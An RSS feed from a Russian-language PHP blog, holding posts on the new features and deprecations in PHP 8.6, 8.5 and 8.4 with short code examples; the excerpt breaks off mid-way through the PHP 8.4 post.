<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <atom:link href="https://sergeymukhin.com/rss" rel="self" type="application/rss+xml" />
        <title><![CDATA[Блог sergeymukhin.com]]></title>
        <link><![CDATA[https://sergeymukhin.com/rss]]></link>
        <description><![CDATA[блог веб-программиста Сергея Мухина]]></description>
        <language>ru-RU</language>
        <pubDate>2026-01-12T04:47:42+00:00</pubDate>

                    <item>
                <title><![CDATA[Что нового в PHP 8.6]]></title>
                <link>https://sergeymukhin.com/blog/chto-novogo-v-php-86</link>
                <description><![CDATA[<h1 class="fn__maintitle" itemprop="headline">Что нового в PHP 8.6</h1><p>PHP 8.6 возможно выйдет в конце ноября 2026 года, а мы пока в этом посте будем рассматривать все RFC, которые будут появляться в течение этого года, по мере их рассмотрения и принятия.</p><h2>Новый функционал</h2><h3>Сообщение об ошибке/исключении в <code>json_decode </code>теперь указывает место возникновения ошибки</h3><p>До PHP 8.6 в json_decode и json_last_error_msg сообщения об ошибках содержали тип ошибки и описание, но не указывали точное место возникновения ошибки при её анализе. Начиная с PHP 8.6, все ошибки декодирования JSON пытаются включить в строку JSON местоположение, где произошла ошибка:</p><pre class="language-"><code class="language-">$json = '[{';
json_decode($json, flags: JSON_THROW_ON_ERROR);
// JsonException: Syntax error near location 1:3</code></pre><pre class="language-"><code class="language-">$json = '[{';
try {
  json_decode($json, flags: JSON_THROW_ON_ERROR);
}
catch (JsonException $ex) {
    echo $ex-&gt;getMessage(); // "Syntax error near location 1:3"
}</code></pre><pre class="language-"><code class="language-">json_decode('[[[[[[[[[[42]]]]]]]]]]', depth: 6);
json_last_error_msg(); // "Maximum stack depth exceeded near location 1:6"</code></pre><p></p><h3>Новая функция clamp</h3><p>В PHP 8.6 появилась новая функция <code>clamp</code>, которая проверяет, находится ли заданное значение в пределах заданного диапазона. Если значение находится в пределах этого диапазона, возвращается исходное значение. Если оно выходит за пределы диапазона, <code>clamp </code>возвращается ближайший предел:</p><pre class="language-"><code class="language-">clamp(5, 0, 100); // 5
clamp(0, 0, 100); // 0
clamp(-5, 0, 100); // 0
clamp(100, 0, 100); // 100
clamp(105, 0, 100); // 100
clamp(105, 100, 100); // 100

clamp(3.01, 1.6, 4.2); // 3.01
clamp(10.0, 1.6, 4.2); // 4.2
clamp(0, M_1_PI, M_2_PI); // 0.31830988618379

clamp(5, 10, 12.5); // 10
clamp(5, 10.0, 12); // 10.0
clamp(3.14, 10, 20); // 10
clamp(3.14, 0, 20); // 3.14</code></pre><p></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/134</guid>
                <pubDate>2026-01-12T04:47:42+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Что нового в PHP 8.5]]></title>
                <link>https://sergeymukhin.com/blog/chto-novogo-v-php-85</link>
                <description><![CDATA[<h1 class="fn__maintitle" itemprop="headline">Что нового в PHP 8.5</h1><blockquote><p>PHP 8.5 был выпущен 20 ноября 2025 года, в данном посте рассмотрен новый функционал, а так же устаревание и удаление некоторых функций</p></blockquote><p>В отличие от поста 4-х летней давности об <a target="_blank" rel="noopener noreferrer nofollow" href="https://sergeymukhin.com/blog/php-75-ne-sushchestvuet">PHP 7.5</a> - PHP 8.5 реально был запланирован и есть следующая минорная версия после PHP 8.4.</p><h2><strong>Новое в PHP 8.5</strong></h2><h3>Pipe-оператор |&gt;</h3><p>В PHP 8.5 добавлен новый оператор - так называемый оператор конвейера ( <code>|&gt; </code>) для объединения нескольких вызываемых объектов слева направо, принимая возвращаемое значение левого вызываемого объекта и передавая его направо, то есть вместо этого:</p><pre class="language-"><code class="language-">$input = 'Какая_то строка.';

$output = strtolower(
    str_replace(['.', '/', '…'], '',
        str_replace(' ', '-',
            trim($input)
        )
    )
);</code></pre><p>и этого:</p><pre class="language-"><code class="language-">$input = 'Какая_то строка.';

$temp = trim($input);
$temp = str_replace(' ', '-', $temp);
$temp = str_replace(['.', '/', '…'], '', $temp);

$output = strtolower($temp);</code></pre><p>можно будет писать:</p><pre class="language-"><code class="language-">$output = $input 
    |&gt; trim(...)
    |&gt; fn (string $string) =&gt; str_replace(' ', '-', $string)
    |&gt; fn (string $string) =&gt; str_replace(['.', '/', '…'], '', $string)
    |&gt; strtolower(...);</code></pre><p></p><h2>Clone v2 как функция</h2><p>В PHP 8.5 языковая конструкция clone теперь работает как функция, с возможностью передать вторым аргументом значения для клонируемого объекта, для их переопределения:</p><pre class="language-"><code class="language-">class Foo {
 
    public function __construct(
        private readonly int $c = 1,
    ) {}
 
    public function just_clone() {
        return clone $this;
    }
 
    public function clone_with($newC) {
        return clone($this, ["c" =&gt; $newC]);
    }
}
 
$foo = new Foo();
// object(Foo)#2 (1) { ["c":"Foo":private]=&gt; int(1) }
var_dump($foo-&gt;just_clone());
 
// object(Foo)#2 (1) { ["c":"Foo":private]=&gt; int(5) }
var_dump($foo-&gt;clone_with(5));</code></pre><p>Старый способ clone $object; так же работает:</p><pre class="language-"><code class="language-">$y = clone $x;
$y = clone($x);
$y = \clone($x);
$y = clone($x, []);
$y = clone($x, [
    "foo" =&gt; $foo,
    "bar" =&gt; $bar,
]);
$y = clone($x, $array);</code></pre><h3>Новая функция <strong>curl_multi_get_handles</strong></h3><p>Расширение Curl в PHP 8.5 добавляет новую функцию <code>curl_multi_get_handles</code>, которая возвращает массив объектов CurlHandle из объекта CurlMultiHandle. Без этой функции для извлечения объектов CurlHandle, добавленных в CurlMultiHandle, приложению пришлось бы поддерживать список объектов CurlHandle, желательно в <a target="_blank" rel="noopener noreferrer nofollow" href="https://sergeymukhin.com/blog/php-8-weakmaps-slabye-karty">WeakMap</a>:</p><pre class="language-"><code class="language-">$cm = curl_multi_init();
curl_multi_get_handles($cm);
// пустой массив

$ch1 = curl_init('https://example.com/foo');
$ch2 = curl_init('https://example.com/bar');

curl_multi_add_handle($cm, $ch1);
curl_multi_add_handle($cm, $ch2);

curl_multi_get_handles($cm);
// [$ch1, $ch2]</code></pre><p></p><h3>Новая константа <code>PHP_BUILD_DATE</code></h3><p>В PHP 8.5 появится новая константа <code>PHP_BUILD_DATE, которая показывает дату и время билда PHP, ранее </code>эти данные были доступны только из функции phpinfo(), теперь же можно будет вывести так:</p><pre class="language-"><code class="language-">echo PHP_BUILD_DATE;
// Nov 22 2025 00:00:10</code></pre><p></p><h2>Новая константа PHP_BUILD_PROVIDER</h2><p>В PHP 8.5 появилась новая глобальная константа PHP с именем PHP_BUILD_PROVIDER, которая содержит переменную окружения PHP_BUILD_PROVIDER, заданную во время сборки. Чтобы объявить константу PHP_BUILD_PROVIDER, установите переменную окружения с тем же именем перед вызовом скрипта ./configure:</p><pre class="language-"><code class="language-">./buildconf
 export PHP_BUILD_PROVIDER="Example Value"
 ./configure ...
 make
 make install</code></pre><p></p><pre class="language-"><code class="language-">echo PHP_BUILD_PROVIDER;
// "Example Value"</code></pre><p></p><h3>Новые функции get_exception_handler и get_error_handler</h3><p>До PHP 8.5 не было прямого способа получить текущие установленные обработчики ошибок и исключений с помощью <strong>set_error_handler</strong> и <strong>set_exception_handler</strong>. PHP 8.5 же добавляет функции: <strong>get_error_handler</strong> и <strong>get_exception_handler</strong>, которые закроют эту потребность:</p><pre class="language-"><code class="language-">/**
 * Returns the currently set error handler, or null if none is set.
 * @return callable|null
 */
function get_error_handler(): ?callable {}

/**
 * Returns the currently set exception handler, or null if none is set.
 * @return callable|null
 */
function get_exception_handler(): ?callable {}</code></pre><p>Пример использования:</p><pre class="language-"><code class="language-">set_error_handler(fn() =&gt; null);
get_error_handler(); // object(Closure)#1 (3) {...}

set_error_handler(fn() =&gt; null);
get_error_handler(); // object(Closure)#1 (3) {...}</code></pre><p></p><h3><a target="_blank" rel="noopener noreferrer nofollow" href="https://wiki.php.net/rfc/array_first_last">Новые функции </a><code>array_first </code><a target="_blank" rel="noopener noreferrer nofollow" href="https://wiki.php.net/rfc/array_first_last">и </a><code>array_last</code></h3><p>До PHP 8.5, а если быть точнее в PHP 7.3 были добавлены функции <code>array_key_first </code>и <code>array_key_last, для получения первого и последнего ключа в массиве, что интересно, извлечение значений, без изменения состояния массива, было добавлено только в PHP 8.5:</code></p><ul><li><p><code>array_first</code> - Извлечь первое <em>значение</em> из заданного массива, будет возвращен <code>null </code>если массив пуст.</p></li><li><p><code>array_last</code> - Извлечь последнее <em>значение</em> из заданного массива, будет возвращен <code>null </code>если массив пуст.</p></li></ul><blockquote><p>Обратите внимание, что эти функции возвращают значение <code>null </code>если массив пуст. Однако <code>null так же может </code>быть допустимым значением массива.</p></blockquote><p>Примеры использования:</p><pre class="language-"><code class="language-">array_first([1, 2, 3]); // 1
array_first([2, 3]); // 2
array_first(['a' =&gt; 2, 'b' =&gt; 1]); // 2
array_first([null, 2, 3]); // null
array_first([]); // null
array_first([$object, 2, 3]); // $object
array_first([1])); // 1
array_first([true]); // true</code></pre><p></p><h2>Новая директива INI max_memory_limit для установки максимума для memory_limit</h2><p>Директива PHP INI <strong>memory_limit</strong> позволяет установить максимальный объём памяти, разрешённый для использования одним запросом. При превышении этого лимита выполнение останавливается. Но <strong>memory_limit</strong> - это директива <strong>INI_ALL</strong>, то есть её можно переопределить, используя ini_<em>set('</em>memory_limit', '200M');</p><p>Для более точного управления этим ограничением в PHP 8.5 появилась новая INI-директива <strong>max_memory_limit</strong>. При установке значения <strong>max_memory_limit - </strong>оно становится максимальным значением, которое разрешено установить <strong>memory_limit</strong>. Она установлена ​ по умолчанию значением <strong>-1</strong>, то есть это ограничение отключено по умолчанию. <strong>max_memory_limit</strong> - это <strong>INI_SYSTEM</strong> INI-директива, то есть её нельзя изменить во время выполнения:</p><pre class="language-"><code class="language-">max_memory_limit=256M
memory_limit=128M

ini_get('max_memory_limit'); // "256M";
ini_get('memory_limit'); // "128M";

ini_set('memory_limit', '200M'); // Разрешено
ini_set('memory_limit', '256M'); // Разрешено

ini_set('memory_limit', '300M'); // Запрещено

Warning: Failed to set memory_limit to 314572800 bytes. Setting to max_memory_limit instead (currently: 268435456 bytes) in ... on line ...</code></pre><p></p><h2>Атрибут <code>#[NoDiscard] rfc</code></h2><p>Данное RFC вводит в PHP 8.5 новый атрибут #[NoDiscard], позволяющий указать, что возвращаемое значение функции или метода "важно" и что отсутствие каких-либо действий с возвращаемым значением, вероятно, является ошибкой:</p><pre class="language-"><code class="language-">#[NoDiscard("you must use this return value, it's very important.")]
function foo(): string {
    return 'bar';
}

// Предупреждение: 
// Ожидается, что возвращаемое значение функции foo() будет использовано, 
// вы должны использовать это возвращаемое значение, это очень важно.
foo();

// Это нормально:
$string = foo();</code></pre><p><br>Исключение по-прежнему можно обойти, используя новое приведение к типу void:</p><pre class="language-"><code class="language-">(void) foo();</code></pre><h2><br>Новое расширение URI</h2><p>В PHP 8.5 представлено новое расширение URI - мощный парсер, соответствующий стандартам RFC 3986 и WHATWG URL. Теперь он входит в стандартную библиотеку PHP под именем URI, и доступен из "коробки":</p><pre class="language-"><code class="language-">use UriRfc3986Uri;

$url = new Uri('https://sergeymukhin.com/blog/chto-novogo-v-php-85');

echo $url-&gt;toString(); // https://sergeymukhin.com/blog/chto-novogo-v-php-85

echo $uri-&gt;getHost(); // sergeymukhin.com
echo $uri-&gt;getScheme(); // https
echo $uri-&gt;getPort(); // 443</code></pre><p></p><h2>Атрибуты констант</h2><p>PHP 8.5 позволяет добавлять атрибуты к константам. Достать их можно будет с помощью <code>ReflectionClassConstant::getAttributes() </code>или <code>ReflectionConstant::getAttributes()</code>. Встроенный атрибут <code>#[Deprecated]</code>также работает с константами, поэтому вы можете отметить константы как устаревшие и вывести предупреждения:</p><pre class="language-"><code class="language-">#[MyAttribute]
const A = 1;

#[Deprecated(reason: 'Не использовать, лучше обратитесь к A')]
const B = 2; </code></pre><p>Следует отметить, что атрибуты нельзя применить для констант, определённых с помощью define(), а только объявленных с помощью const.</p><h2>Улучшения замыкания</h2><p>Замыкания и callable объекты первого класса теперь можно использовать в константных выражениях. На практике это означает, что вы сможете определять замыкания в атрибутах, что является невероятной новой возможностью:</p><pre class="language-"><code class="language-">#[SkipDiscovery(static function (Container $container): bool {
    return ! $container-&gt;get(Application::class) instanceof ConsoleApplication;
})]
final class BlogPostEventHandlers
{ /* … */ }</code></pre><p>или так:</p><pre class="language-"><code class="language-">class Foo {
    // Static closure as a constant
    public const UPPER = static function (string $v): string { return strtoupper($v); };

    // First-class callable as a constant
    public const LOWER = 'strtolower'(...);
}</code></pre><p></p><h2>Поддержка трассировки стека для фатальных ошибок</h2><p>В PHP 8.5 добавлен новый функционал, благодаря которому сообщения о фатальных ошибках содержат полную трассировку стека. Как это было до 8.5:</p><pre class="language-"><code class="language-">Fatal error: Allowed memory size of 2097152 bytes exhausted (tried to allocate 5242912 bytes) in ... on line ...</code></pre><p>и как после:</p><pre class="language-"><code class="language-">Fatal error: Allowed memory size of 2097152 bytes exhausted (tried to allocate 5242912 bytes) in /var/www/test/php85/error_handlers.php on line 6
Stack trace:
#0 file.php(...): str_repeat('A', 5242880)
#1 file.php(...): my_function()
#2 {main}</code></pre><p></p><h2>Новая функция Левенштейна для группы графем</h2><p>Функция grapheme_levenshtein() вычисляет расстояние Левенштейна с учетом Unicode, которое понимает группы графем (то, что пользователи воспринимают как символы), и позволяющая точно сравнивать строки, что идеально подходит для таких случаев как "café":</p><pre class="language-"><code class="language-">grapheme_levenshtein('café', 'cafe'); // 1</code></pre><p></p><h2>Устаревание магических методов __sleep() и __wakeup()</h2><p>С PHP 8.5 будет постепенное выведение из употребления магических методов __sleep() и __wakeup(), в документации будут помечены как устаревшие, и вместо них будет предложено использовать __serialize()/__unserialize()</p><h2>Асимметричная видимость для статических свойств</h2><p>В RFC по асимметричной видимости PHP 8.4 намеренно не реализована поддержка асимметричной видимости для статических свойств из-за ожидаемой сложностью реализации и относительно небольшим количеством вариантов использования. PHP 8.5 позволит статическим свойствам в PHP так же иметь асимметричную видимость:</p><pre class="language-"><code class="language-">class Example
{
    public private(set) static string $classTitle = 'Example class';
 
    // Implicitly public-read, just like object properties.
    protected(set) static int $counter = 0;
 
    public static function changeName(string $name): void
    {
        // From private scope, so this is allowed.
        self::$classTitle = $name;
    }
}
 
print Example::$classTitle; // Можно
 
Example::$classTitle = 'Nope'; // Нельзя.</code></pre><p></p><h2>Расширение OPCache всегда загружаемое</h2><p>В PHP 8.5 OPcache будет обязательной частью PHP. OPcache будет статически скомпилировано в PHP, как ext/date, ext/hash , ext/pcre, ext/random, ext/standard и другие.</p><h2>Final свойств объявленных в конструкторе</h2><p>В PHP 8.5 теперь есть возможность задать модификатор final для свойств заданных в конструкторе, т.е. раньше делали так:</p><pre class="language-"><code class="language-">class User {
    final public string $name;

    public function __construct(string $name) {
        $this-&gt;name = $name;
    }
}</code></pre><p>а теперь можно так:</p><pre class="language-"><code class="language-">class User {
    public function __construct(
        final string $name
    ) {}
}</code></pre><p></p><h2>Новая опция INI --diff</h2><p>Небольшое, но мощное дополнение CLI: php --ini=diff выводит только те настройки INI, которые отличаются от встроенных значений PHP по умолчанию, что отлично подходит для быстрой диагностики:</p><pre class="language-"><code class="language-">php --ini=diff

// Non-default INI settings:
// html_errors: "1" -&gt; "0"
// implicit_flush: "0" -&gt; "1"
// max_execution_time: "30" -&gt; "0"</code></pre><p></p><h2>Поддержка атрибута #[Deprecated] в трейтах</h2><p>Атрибут #[Deprecated] был представлен в PHP 8.4 и мог использоваться для выдачи предупреждений об устаревании при вызове функции (или метода класса) или при обращении к константе класса (или в случае перечисления). Начиная с версии 8.5, предупреждения об устаревании также могут выдаваться для трейта:</p><pre class="language-"><code class="language-">#[Deprecated]
trait DemoTrait {}
 
class DemoClass {
	use DemoTrait;
}
 
// Reports:
// Deprecated: Trait DemoTrait used by DemoClass is deprecated in %s on line %d
?&gt;</code></pre><p></p><h2>Новая функция locale_is_right_to_left и метод Locale::isRightToLeft</h2><p>Расширение Intl получило несколько улучшений. Новая функция locale_is_right_to_left() (и соответствующий метод Locale::isRightToLeft()) помогает определить, использует ли локаль письмо справа налево:</p><pre class="language-"><code class="language-">locale_is_right_to_left ( 'ru-RU' );   // false 
locale_is_right_to_left ( 'en-US' );   // false
locale_is_right_to_left ( 'ar-SA' );   // true 
locale_is_right_to_left ( 'he-IL' );   // true</code></pre><p>Также появился новый класс IntlListFormatter для создания списков с учетом локали:</p><pre class="language-"><code class="language-">$formatter = new IntlListFormatter('en-US');
echo $formatter-&gt;format(['Paris', 'London', 'Moscow']);
// "Paris, London, and Moscow"

$formatter = new IntlListFormatter('ru-RU');
echo $formatter-&gt;format(['Париж', 'Лондон', 'Москва']);
// "Paris, London и Tokyo"</code></pre><p></p><h2>Улучшенный класс Directory</h2><p>Теперь в PHP 8.5 класс Directory был изменён так, что теперь он ведёт себя как строгий, немодифицируемый ресурсный объект. Эти объекты ресурсов, как правило, нельзя создать с помощью new, сериализовать или клонировать, и, как правило, они ведут себя не как обычные классы.</p><p>То есть <code>new Directory()</code> использовать будет невозможно. Способ создания экземпляра класса - использование функции <code>dir.</code></p><h2>#[Override] можно применять к свойствам</h2><p>Так же, как раньше можно было отмечать методы, переопределяющие реализацию родительского класса, теперь можно применять атрибут #[Override] к свойствам. Как и в случае с методами, PHP выдаст ошибку, если свойство фактически ничего не переопределяет:</p><pre class="language-"><code class="language-">class P {
    abstract public mixed $p { get; }
}
 
class C extends P {
    #[Override]
    public mixed $p;
}</code></pre><p><br></p><pre class="language-"><code class="language-">trait T {
    #[Override]
    public mixed $p;
}
&nbsp;
interface I {
    public mixed $p { get; }
}
&nbsp;
class C implements I {
    use T;
}</code></pre><p></p><pre class="language-"><code class="language-">class C {
    #[Override]
    public mixed $c; // Fatal error: C::$c has #[Override] attribute, but no matching parent property exists
}</code></pre><p></p><h2><strong>Устаревшее в PHP 8.5</strong></h2><h3>Все MHASH_*константы устарели</h3><p>В PHP 8.1 все mhash функции были объявлены устаревшими: mhash, mhash_​count, mhash_​get_​block_​size, mhash_​get_​hash_​name, и mhash_​keygen_​s2k. Однако константы, которые эти функции принимали в качестве параметров, не были объявлены устаревшими. В PHP 8.5 все константы MHASH_* объявлены устаревшими вместе с существующим устареванием функций mhash:</p><pre class="language-"><code class="language-">mhash(MHASH_SHA1, 'test');

Constant MHASH_SHA1 is deprecated ....
Function mhash() is deprecated since 8.1 ...</code></pre><p></p><h2>Устарели альтернативные приведения скалярных типов (boolean|double|integer|binary)</h2><p>Скалярное приведение типов в PHP допускает некоторые вариации. Например, можно привести переменную к целому числу, используя как (int) так и (integer), например:</p><pre class="language-"><code class="language-">$value = '42';

(integer) $value; //int(42)
(int) $value; //int(42)</code></pre><p>Но те же альтернативные имена типов не поддерживаются в типах параметров, возвращаемых значений или свойств:</p><pre class="language-"><code class="language-">function test(integer $value): double {}

Warning: "double" will be interpreted as a class name. Did you mean "float"? Write "double" to suppress this warning in ... on line ...
Warning: "integer" will be interpreted as a class name. Did you mean "int"? Write "integer" to suppress this warning in ... on line ...</code></pre><p>Из-за этой непоследовательности PHP 8.5 прекращает поддержку четырех альтернативных имен скалярных типов:</p><ul><li><p>(integer)</p></li><li><p>(double)</p></li><li><p>(boolean)</p></li><li><p>(binary)</p></li></ul><p>Рекомендуется заменить их на (int), (float), (bool), (string)</p><p></p><h2><strong>Удаленное из PHP 8.5</strong></h2><h2>CLI/CGI: опция -z/--zend-extension</h2><p>До версии PHP 8.5 в справке исполняемого файла PHP ( php --help/ php -h) отмечалось, что он поддерживает -z (--zend-extension) - возможность загрузки расширения Zend перед выполнением заданного файла или запуском интерпретатора:</p><pre class="language-"><code class="language-">php --help</code></pre><pre class="language-"><code class="language-">Usage: php [options] [-f] &lt;file&gt; [--] [args...]
   php [options] -r &lt;code&gt; [--] [args...]
   php [options] [-B &lt;begin_code&gt;] -R &lt;code&gt; [-E &lt;end_code&gt;] [--] [args...]
   php [options] [-B &lt;begin_code&gt;] -F &lt;file&gt; [-E &lt;end_code&gt;] [--] [args...]
   php [options] -S &lt;addr&gt;:&lt;port&gt; [-t docroot] [router]
   php [options] -- [args...]
   php [options] -a

  -a               Run as interactive shell (requires readline extension)
...
  -z &lt;file&gt;        Load Zend extension &lt;file&gt;
...</code></pre><p>В PHP 8.5 оба параметра -z и --zend-extension удалены, поскольку они не работают во всех версиях PHP. Альтернатива -d на основе опций совместима со всеми версиями PHP, включая PHP 8.5:</p><pre class="language-"><code class="language-">php -d zend_extension=xdebug.so script.php</code></pre>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/131</guid>
                <pubDate>2025-11-20T11:49:45+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Что нового в PHP 8.4]]></title>
                <link>https://sergeymukhin.com/blog/cto-novogo-v-php-84</link>
                <description><![CDATA[<h1 class="fn__maintitle" itemprop="headline">Что нового в PHP 8.4</h1><blockquote><p>PHP 8.4, был выпущен 21 ноября 2024 года</p></blockquote><h2>Когда выйдет PHP 8.4?</h2><p>PHP 8.4, был официально выпущен 21 ноября 2024 года.</p><h2>Как установить и протестировать PHP 8.4?</h2><p>Установить можно по аналогии с установкой <a target="_blank" rel="noopener noreferrer nofollow" href="https://sergeymukhin.com/blog/kak-ustanovitobnovit-php-83-v-ubuntu-ili-debian">PHP 8.3</a> заменив версию на правильную.</p><h2>Новый JIT-движок</h2><p>Как вы знаете <a target="_blank" rel="noopener noreferrer nofollow" href="https://sergeymukhin.com/blog/php-jit">JIT</a> появился в PHP 8.0 и представлял из себя&nbsp;компиляцию "на лету" - Just In Time, в PHP 8.4 будет новый JIT-движок. Теперь это настоящий оптимизирующий компилятор с промежуточным&nbsp;представлением, аналогичный серверному компилятору <a target="_blank" rel="noopener noreferrer nofollow" href="https://en.wikipedia.org/wiki/HotSpot_(virtual_machine)">Java HotSpot</a></p><h2>phpinfo отображает информации о размере целочисленного типа (int) <a target="_blank" rel="noopener noreferrer nofollow" href="https://github.com/php/php-src/pull/12201/files">PR</a></h2><p>Вывод phpinfo() в PHP 8.4 показывает размер целого числа, поддерживаемый текущей настройкой PHP в битах, также включается в выходные данные PHP CLI:</p><img src="https://sergeymukhin.com/files/blog/2023/cto-novogo-v-php-84-phpinfo-int-size-information.png"><p></p><p>Ранее все предыдущие версии (начиная с PHP 5.0.5) поддерживали константы PHP_INT_SIZE для определения размера целого числа.</p><h2>Поддержка AEGIS-128L и AEGIS256 в Sodium</h2><p>AEGIS - это семейство алгоритмов шифрования с проверкой подлинности на основе AES, которые работают быстрее, чем AES-GCM. Расширение <a target="_blank" rel="noopener noreferrer nofollow" href="https://www.php.net/manual/en/intro.sodium.php">Sodium</a> в PHP 8.4 поддерживает алгоритмы шифрования AEGIS-128L и AEGIS256, если расширение Sodium скомпилировано с версией <a target="_blank" rel="noopener noreferrer nofollow" href="https://github.com/jedisct1/libsodium">libsodium</a> 1.0.19 или новее. Расширение Sodium в PHP 8.4 добавляет шесть новых функций и четыре новые константы PHP для AEGIS-128L и AEGIS-256AEAD.</p><h2>Новые функции array_find, array_find_key, array_any, array_all <a target="_blank" rel="noopener noreferrer nofollow" href="https://wiki.php.net/rfc/array_find">RFC</a></h2><p>В PHP 8.4 добавлены четыре новые функции для работы с массивами, для поиска и проверки элементов с помощью функции обратного вызова:</p><ul><li><p><strong>array_find</strong> - Возвращает значение первого элемента из массива, для которого возвращается результат callback = true;</p></li><li><p><strong>array_find_key</strong> - Возвращает ключ первого элемента из массива, для которого возвращается результат callback = true;</p></li><li><p><strong>array_all</strong> - Возвращает true, если все элементы в массиве соответствует условию callback</p></li><li><p><strong>array_any</strong> - Возвращает true, если хотя бы один элемент в массиве соответствует условию callback</p></li></ul><pre class="language-"><code class="language-">function isEven(int $value): bool {
    return $value % 2 === 0;
}

array_find([1, 2, 3, 4, 5], 'isEven');
// 2

...

function isEven(int $value): bool {
    return $value % 2 === 0;
}

array_find_key(['foo' =&gt; 1, 'bar' =&gt; 2, 'baz' =&gt; 3], 'isEven');
// "bar"

...

array_all(
    ['foo@example.com', 'bar@example.com', 'baz@example.com'],
    fn($value) =&gt; filter_var($value, FILTER_VALIDATE_EMAIL),
);
// true

...

array_any(
    ['foo@example.com', 'https://sergeymukhin.com', 'foobar'],
    fn($value) =&gt; filter_var($value, FILTER_VALIDATE_URL),
);
// true</code></pre><p></p><h2>Новые константы для Curl CURL_HTTP_VERSION_3 и CURL_HTTP_VERSION_3ONLY для поддержки HTTP/3</h2><p>Расширение PHP Curl способно выполнять HTTP-запросы HTTP/3 (также известный как QUIC), если расширение Curl скомпилировано с необходимыми зависимостями для HTTP/3. В PHP 8.4 расширение Curl объявляет две следующие новые константы PHP, которые являются принятыми параметрами для CURLOPT_HTTP_VERSIONопции Curl.</p><ul><li><p>CURL_HTTP_VERSION_3 ( = int 30)</p></li><li><p>CURL_HTTP_VERSION_3ONLY ( = int 31)</p></li></ul><pre class="language-"><code class="language-">$ch = curl_init("https://sergeymukhin.com/");
curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_3);
curl_exec($ch);</code></pre><h2>Новые функции http_get_last_response_headers и http_clear_last_response_headers</h2><p>В PHP 8.4 добавлены две новые функции, http_get_last_response_headers и http_clear_last_response_headers, которые можно использовать для получения и очистки HTTP-заголовков последнего HTTP ответа, которые могут заменить легендарную переменную <a target="_blank" rel="noopener noreferrer nofollow" href="https://www.php.net/manual/en/reserved.variables.httpresponseheader.php">$http_response_header</a>.</p><h2>Новая функция bcdivmod в расширении BCMath</h2><p>Расширение BCMath в PHP 8.4 представляет новую функцию <strong>bcdivmod </strong>которая делит заданное число на заданный делитель и возвращает как частное, так и остаток, и это позволяет избежать необходимости вызывать функции <strong>bcdiv </strong>и <strong>bcmod </strong>по отдельности:</p><pre class="language-"><code class="language-">echo bcdivmod('42', '10');
// ["4", "2"]

echo bcdivmod("10", "10");
// ["1", "0"]</code></pre><h2>Новый метод DateTime createFromTimestamp</h2><p>До PHP 8.4, чтобы создать экземпляр DateTime или DateTimeImmutable из временной метки UNIX, его нужно было создать с помощью createFromFormat:</p><pre class="language-"><code class="language-">$dt = DateTimeImmutable::createFromFormat('U', (string) 1703485481);
$dt-&gt;format('Y-m-d'); // "2023-12-25"</code></pre><p><br>С PHP 8.4 классы DateTime и DateTimeImmutable в PHP 8.4 имеют новый метод createFromTimeStamp, позволяющий легко создать экземпляр из заданной временной метки UNIX в виде целого числа или значения с плавающей запятой.</p><pre class="language-"><code class="language-">$dt = DateTimeImmutable::createFromTimeStamp(1703485481);
$dt-&gt;format('Y-m-d'); //"2023-12-25"</code></pre><p></p><h2>Новые методы DateTime(Immutable)::get/setMicrosecond</h2><p>Теперь классы DateTime и DateTimeImmutable в PHP 8.4 и более поздних версиях будут поддерживать методы <strong>getMicrosecond </strong>и <strong>setMicrosecond</strong> для получения и установки количества микросекунд для объектов DateTime/ DateTimeImmutable:</p><pre class="language-"><code class="language-">$date = new DateTimeImmutable(); 

$date-&gt;getMicrosecond(); // (int) 899561

$date = new DateTime(); 

$date-&gt;setMicrosecond(426286);
$date-&gt;getMicrosecond(); // (int) 426286</code></pre><p></p><h2>Новые функции mbstring: mb_trim, mb_ltrim, и mb_rtrim</h2><p>В PHP 8.4 будут добавлены эквивалентные мультибайтные функции существующих trim, ltrim, и rtrim:</p><pre class="language-"><code class="language-">function mb_trim(string $string, string $characters = '...'): string

function mb_ltrim(string $string, string $characters = '...', ?string $encoding = null): string {}

function mb_rtrim(string $string, string $characters = '...', ?string $encoding = null): string {}</code></pre><p></p><h2>Новые функции mb_ucfirst и mb_lcfirst</h2><p>В PHP есть функции <strong>ucfirst </strong>и <strong>lcfirst </strong>для изменения регистра первого символа в заданной строке. В PHP 8.4 расширение mbstring добавляет функции mb_ucfirst и mb_lcfirst в качестве многобайтовых безопасных альтернатив функциям ucfirst и lcfirst:</p><pre class="language-"><code class="language-">mb_ucfirst('test'); // Test
mb_ucfirst('тест'); // Тест

mb_lcfirst('Test'); // test
mb_lcfirst('Тест'); // тест</code></pre><p></p><h2>Новая функция request_parse_body</h2><p>В <a target="_blank" rel="noopener noreferrer nofollow" href="https://sergeymukhin.com/blog/php-84-novaia-funkciia-request-parse-body">PHP 8.4 добавлена ​​новая функция request_parse_body</a>, которая предоставляет встроенную функциональность анализа запросов для других методов HTTP-запросов,таких как например PUT, <code>DELETE </code>и <code>PATCH</code>. Функция request_parse_body считывает все содержимое, которое доступно в потоке php://input и создает значения, которые можно использовать в переменных $_POST и $_FILES:</p><pre class="language-"><code class="language-">[$_POST, $_FILES] = request_parse_body();</code></pre><p></p><h2>Хуки свойств</h2><p>Итак, наконец-то долгожданная обнова случилась и в PHP 8.4 у нас появятся полноценные свойства, с возможностью задавать <a target="_blank" rel="noopener noreferrer nofollow" href="https://sergeymukhin.com/blog/php-84-property-hooks">хуки get и set</a> (а в будущем и не только их):</p><pre class="language-"><code class="language-">class User 
{
    public string $name {
        set {
            if (strlen($value) === 0) {
                throw new ValueError("Name must be non-empty");
            }
            $this-&gt;name = $value;
        }
        get {
            return strtoupper($this-&gt;name);
        }
    }
 
    public function __construct(string $name) {
        $this-&gt;name = $name;
    }
}</code></pre><p>Что примечательно, благодаря этому RFC так же можно<strong> асимметрично объявлять публичные свойства в интерфейсах</strong>. Класс реализации может предоставить свойство через обычное свойство или хуки:</p><pre class="language-"><code class="language-">interface I
{
    // Класс, реализующий интерфейс ДОЛЖЕН иметь публичное свойство,
    public string $readable { get; } 
    // Класс реализации ДОЛЖЕН иметь публичное свойство для записи,
    public string $writeable { set; } 
    // Класс реализации ДОЛЖЕН иметь свойство, которое является публичным и
    // доступно для чтения и записи.
    public string $both { get; set; }
